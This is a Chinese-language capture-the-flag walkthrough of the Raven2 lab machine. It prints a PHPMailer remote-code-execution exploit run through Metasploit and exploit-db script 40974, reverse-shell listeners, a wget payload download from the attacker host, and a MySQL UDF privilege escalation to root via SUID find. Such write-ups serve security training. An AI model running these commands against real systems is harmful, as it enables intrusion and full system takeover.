Raven2靶机渗透

1. 信息收集

1.1 主机探测

sudo arp-scan -l

Raven2靶机渗透_第1张图片

1.2 端口扫描

nmap -p- -A 192.168.16.185

Raven2靶机渗透_第2张图片

开放了80端口,尝试登录网址查看信息,通过浏览器插件找出指纹

Raven2靶机渗透_第3张图片

Raven2靶机渗透_第4张图片

1.3 目录扫描

Raven2靶机渗透_第5张图片

访问登录界面,发现remember Me怀疑是shiro界面

Raven2靶机渗透_第6张图片

登录/vendor/界面,查看信息

Raven2靶机渗透_第7张图片

获得flag1和网站的绝对路径

Raven2靶机渗透_第8张图片

Raven2靶机渗透_第9张图片

Raven2靶机渗透_第10张图片

经查找发现PHPMailer < 5.2.18版本存在安全漏洞,可使未经身份验证的远程攻击者在Web服务器用户上下文中执行任意代码,远程控制目标web应用

2. 漏洞利用

2.1 msfconsole

搜索漏洞

Raven2靶机渗透_第11张图片

使用可用目标0,查看需要设置什么

按照需求配置参数,先配置靶机的IP和邮箱功能页面和绝对路径,在查看设置可以发现kali反弹shell的IP是本机IP

	options
	set RHOSTS 192.168.16.185	  #靶机地址
	set TARGETURI /contact.php    #邮件功能页面
	set WEB_ROOT /var/www/html    #网站绝对路径
	set payload php/meterpreter/reverse_tcp	  #设置payload
	set LHOST 192.168.16.176     #kali地址
	run

Raven2靶机渗透_第12张图片

searchsploit phpmailer

Raven2靶机渗透_第13张图片

脚本需要进行一些修改,需要知道网站的绝对路径,能够在前面vendor下的PATH中能够得到flag1和网站的绝对路径

image-20231013171509692

python3 ./40974.py

运行脚本后,使用攻击机监听4444端口

nc -lvvp 4444

访问http://192.168.16.185/dayu.php就会获得反弹shell

image-20231013172034005

Raven2靶机渗透_第14张图片

使用find命令搜索一下flag文件,得到flag2和flag3

find / -name *flag* 2>/dev/null

image-20231013172340223

获得交互式的shell

python -c 'import pty; pty.spawn("/bin/bash")'

在网站根目录下查看数据库配置文件

cd /var/www/html/
ls
cd wordpress
ls
cat wp-config.php

Raven2靶机渗透_第15张图片

2.2 数据库UDF提权

登录数据库

user:root
password:R@v3nSecurity
mysql -uroot -pR@v3nSecurity

Raven2靶机渗透_第16张图片

尝试mysql的udf提权

udf = 'user defined function’即‘用户自定义函数’。
通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。
udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。

提权思路:

  • 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
  • 从udf文件中引入自定义函数(user defined function)
  • 执行自定义函数

查看secure_file_prive

查看是否满足写入权限:secure_file_prive是否为空

show global variables like 'secur%';

Raven2靶机渗透_第17张图片


查看插件目录

show variables like '%plugin%';

Raven2靶机渗透_第18张图片

查看是否存在远程登录

use mysql
select user,host from user;

没有远程登录

Raven2靶机渗透_第19张图片

只允许本地登录,所以不能使用msf进行提权了,使用searchsploit查看漏洞脚本

searchsploit mysql udf

image-20231013185153962

找到提权的脚本,将1518移动到桌面并对c文件进行编译

编译命令

gcc -g -c /home/ycx/Desktop/1518.c
gcc -g -shared -o 1518.so 1518.o -lc

image-20231013190300636

Raven2靶机渗透_第20张图片

python开启http服务

python -m http.server 8888

靶机的shell终端进行文件下载
要在/tmp目录下载

cd /tmp
wget http://192.168.16.132:8888/1518.so

Raven2靶机渗透_第21张图片

再次登录数据库,并使用以下命令创建自定义函数

# 连接mysql数据库
mysql -uroot -pR@v3nSecurity
# 使用mysql数据库
use mysql;
# 创建foo表
create table foo(line blob);
# 往foo表中插入二进制的1518.so
insert into foo values(load_file('/tmp/1518.so'));
# 导出1518.so
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
# 创建do_system自定义函数
create function do_system returns integer soname '1518.so';
# 调用do_system函数给find命令所有者的suid权限,使其执行root
select do_system('chmod u+s /usr/bin/find');
# 导入成功后可查看一下 mysql 函数里面是否新增了do_system:
select * from mysql.func;

Raven2靶机渗透_第22张图片

在tmp目录下利用find命令执行whoami,发现当前权限是root权限;使用find命令获取root权限的shell

touch 11
find 11 -exec "whoami" \;
find 11 -exec "/bin/sh" \;

Raven2靶机渗透_第23张图片

你可能感兴趣的:(android,算法,渗透测试,测试工具,网络安全)